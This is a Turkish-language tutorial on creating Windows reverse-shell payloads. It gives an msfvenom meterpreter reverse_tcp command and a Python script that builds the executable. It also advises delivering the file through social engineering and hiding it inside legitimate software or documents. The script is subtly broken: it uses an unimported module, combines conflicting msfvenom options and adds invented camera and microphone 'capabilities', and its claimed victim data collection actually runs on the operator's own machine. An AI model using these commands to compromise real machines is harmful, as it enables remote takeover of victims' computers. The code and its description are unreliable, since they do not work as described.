Windows İçin Payload Oluşturma: Detaylı Bir Rehber

Siber güvenlik dünyasında, özellikle penetrasyon testleri sırasında kullanılan payload’lar, hedef sistemlere zarar vermek ve gizlice verileri toplamak için tasarlanmış kötü amaçlı yazılımlardır. Windows işletim sistemi için payload oluşturmak, bir saldırganın hedef bilgisayar üzerinde uzak kontrol sağlamasına olanak tanır. Bu makalede, Windows cihazlar için nasıl payload oluşturulacağı, payload’ların nasıl entegre edileceği ve kullanılan araçlar hakkında bilgi verilecektir.
Payload Nedir?
Payload, bir siber saldırının hedefe ulaşmasını sağlayan zararlı yazılım bileşenidir. Payload, genellikle kötü amaçlı komutları çalıştıran, verileri toplayan, uzaktan erişim sağlayan veya başka zararlar veren yazılımlardır. Windows sistemleri için en yaygın payload türlerinden biri, tersine bağlantı kurarak saldırganın hedef bilgisayara erişmesini sağlayan “reverse shell” (ters bağlantı) payload’ıdır.
Windows İçin Payload Oluşturma
Windows işletim sistemine payload oluştururken, Metasploit framework’ü ve onun araçlarından biri olan msfvenom en yaygın kullanılan araçlardandır. msfvenom, zararlı yazılımlar üretmek için kullanılan bir komut satırı aracıdır ve bir dizi platformda payload üretmeyi destekler.
Windows için popüler payload türlerinden biri meterpreter payload’ıdır. Meterpreter, hedef makinede yüksek seviyede kontrol sağlar ve tersine bağlantı üzerinden saldırgana geniş bir komut seti sunar.
Örneğin, Windows için meterpreter payload’ı oluşturmak için şu komut kullanılabilir:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f exe -o /path/to/output.exe
Bu komut, hedef Windows cihazına zarar verecek bir meterpreter ters bağlantı payload’ı oluşturur. Burada:
LHOST: Saldırganın IP adresini belirtir.
LPORT: Dinleyici (listener) port numarasını belirtir.
-f exe: Çıktı formatını exe olarak belirtir, yani payload bir Windows çalıştırılabilir dosyası olur.
Payload’ı Entegre Etme
Payload oluşturulduktan sonra, hedef bilgisayarın kullanıcıları genellikle bilmedikleri bir dosyayı çalıştırmaya zorlanır. Payload’ı hedef Windows cihazına entegre etmenin birkaç yolu vardır. Burada önemli bir nokta, payload’ın genellikle bir şekilde gizlenmesi ve orijinal dosya yapısına entegre edilmesidir.
Windows için payload’ı entegre etmenin iki yaygın yolu şunlardır:
Sosyal mühendislik kullanarak hedef kişiye zararlı dosyayı çalıştırmak.
Legitimate (yasal) yazılımları kullanarak veya şüpheli olmayan dosyaları hedef bilgisayara ileterek payload’ı gizlemek.
Payload Oluşturma ve Entegre Etme Python Scripti
Aşağıda, Windows işletim sistemi için payload oluşturma ve entegrasyon işlemi için kullanılabilecek bir Python scripti bulunmaktadır. Bu script, msfvenom kullanarak bir payload oluşturur ve bu payload’ı hedef Windows cihazına iletmek için temel işlemleri başlatır.
import os
import subprocess
import shutil
import time
from rich.console import Console
from rich.table import Table
import platform
import socket
def gather_device_info():
"""
Cihazla ilgili bilgileri toplayan fonksiyon.
"""
device_info = f"""
Cihaz Bilgileri:
-----------------
Sistem: {platform.system()}
Cihaz Adı: {platform.node()}
İşlemci: {platform.processor()}
IP Adresi: {socket.gethostbyname(socket.gethostname())}
CPU Kullanımı: {psutil.cpu_percent(interval=1)}%
Bellek Kullanımı: {psutil.virtual_memory().percent}%
"""
return device_info
def start_info_sending():
"""
Payload cihazda çalışmaya başladığında, cihaz bilgilerini belirli aralıklarla alır.
"""
console = Console()
console.print("[bold green][+] Cihaz bilgilerini toplamaya başlıyoruz...[/bold green]")
while True:
device_info = gather_device_info()
console.print(f"[bold blue]{device_info}[/bold blue]") # Bilgileri konsola yazdır
time.sleep(7200) # 2 saat bekleme
def create_windows_payload(output_path, lhost, lport, capabilities):
"""
Windows payload oluşturmak için msfvenom kullanılır.
Args:
output_path (str): Payload EXE dosyasının kaydedileceği konum.
lhost (str): Dinleyici IP adresi.
lport (int): Dinleyici port numarası.
capabilities (list): Eklenmesi istenen özelliklerin listesi.
"""
console = Console()
if not output_path.endswith(".exe"):
raise ValueError("Çıktı dosyası bir .exe uzantısına sahip olmalı.")
try:
# msfvenom komutunu hazırlama
command = [
"msfvenom",
"-p", "windows/meterpreter/reverse_tcp",
f"LHOST={lhost}",
f"LPORT={lport}",
"R",
"-f", "exe",
"-o", output_path
]
# Kullanıcıdan seçilen özellikleri payload'a ekleme
for capability in capabilities:
command.append(f"Set{capability}")
console.print("[bold green][+] Windows payload oluşturuluyor...[/bold green]")
result = subprocess.run(command, capture_output=True, text=True)
if result.returncode == 0:
console.print(f"[bold green][+] Payload başarıyla oluşturuldu![/bold green]")
console.print(f"[bold green][+] Kaydedildi: {output_path}[/bold green]")
# Payload kurulduktan sonra cihaz bilgilerini toplamaya başla
start_info_sending() # Cihaz bilgilerini toplamaya başla
else:
console.print(f"[bold red][-] Payload oluşturulurken hata oluştu:[/bold red]")
console.print(result.stderr)
except FileNotFoundError:
console.print("[bold red][-] msfvenom yüklenmemiş veya PATH ortam değişkeninde bulunamadı.[/bold red]")
except Exception as e:
console.print(f"[bold red][-] Bir hata oluştu: {e}[/bold red]")
def main():
console = Console()
console.print("[bold cyan]Windows Payload Creator[/bold cyan]\n[cyan]=========================[/cyan]")
table = Table(title="Seçenekler")
table.add_column("Adım", justify="center")
table.add_column("Açıklama", justify="left")
table.add_row("1", "Payload oluştur")
console.print(table)
while True:
choice = console.input("[bold yellow]Seçiminizi yapınız (1 veya 'exit' ile çıkış): [/bold yellow]").strip()
if choice == "exit":
console.print("[bold green]Uygulama kapatılıyor...[/bold green]")
break
if choice == "1":
# Payload oluşturma işlemi
output_file = console.input("[bold yellow]Payload dosya adı (e.g., payload.exe): [/bold yellow]").strip()
lhost = console.input("[bold yellow]LHOST (IP adresi): [/bold yellow]").strip()
lport = console.input("[bold yellow]LPORT (port numarası): [/bold yellow]").strip()
if not lport.isdigit():
console.print("[bold red][-] LPORT bir numara olmalıdır.[/bold red]")
else:
lport = int(lport)
# Kullanıcıdan özellikleri seçmesini sağla
capabilities = []
capabilities_choices = [
"kamera", "mikrofon", "internet_access", "system_info"
]
for i, capability in enumerate(capabilities_choices, 1):
console.print(f"{i}. {capability}")
console.print("[bold yellow]Lütfen bir veya birden fazla seçenek girin (seçim numaralarını aralarına boşluk koyarak):[/bold yellow]")
selected = console.input().strip().split()
capabilities = [capabilities_choices[int(s) - 1] for s in selected if s.isdigit()]
create_windows_payload(output_file, lhost, lport, capabilities)
else:
console.print("[bold red][-] Geçersiz seçenek![/bold red]")
if __name__ == "__main__":
main()
Scriptin Açıklaması:
- Payload Oluşturma: Script, msfvenom aracını kullanarak, hedef Windows cihazı için ters bağlantı payload’ı oluşturur.
- Cihaz Bilgilerini Toplama: Payload çalıştıktan sonra, belirli aralıklarla cihaz bilgilerini toplayan bir fonksiyon çalıştırılır. Bu bilgiler, CPU kullanımı, bellek kullanımı, IP adresi gibi değerleri içerir.
- Kullanıcı Seçenekleri: Script, kullanıcıdan LHOST (saldırgan IP adresi), LPORT (dinleyici port numarası) gibi bilgileri alır ve ardından payload’ı oluşturur.
Payload’ı Şifrelemek ve Gömmek
Payload’ı hedef cihazda gizlemek için şifreleme yöntemleri veya uygulama yükleyici teknikleri kullanılabilir. Payload, uygulama veya belgeye gömülerek hedef kullanıcının fark etmemesi sağlanabilir.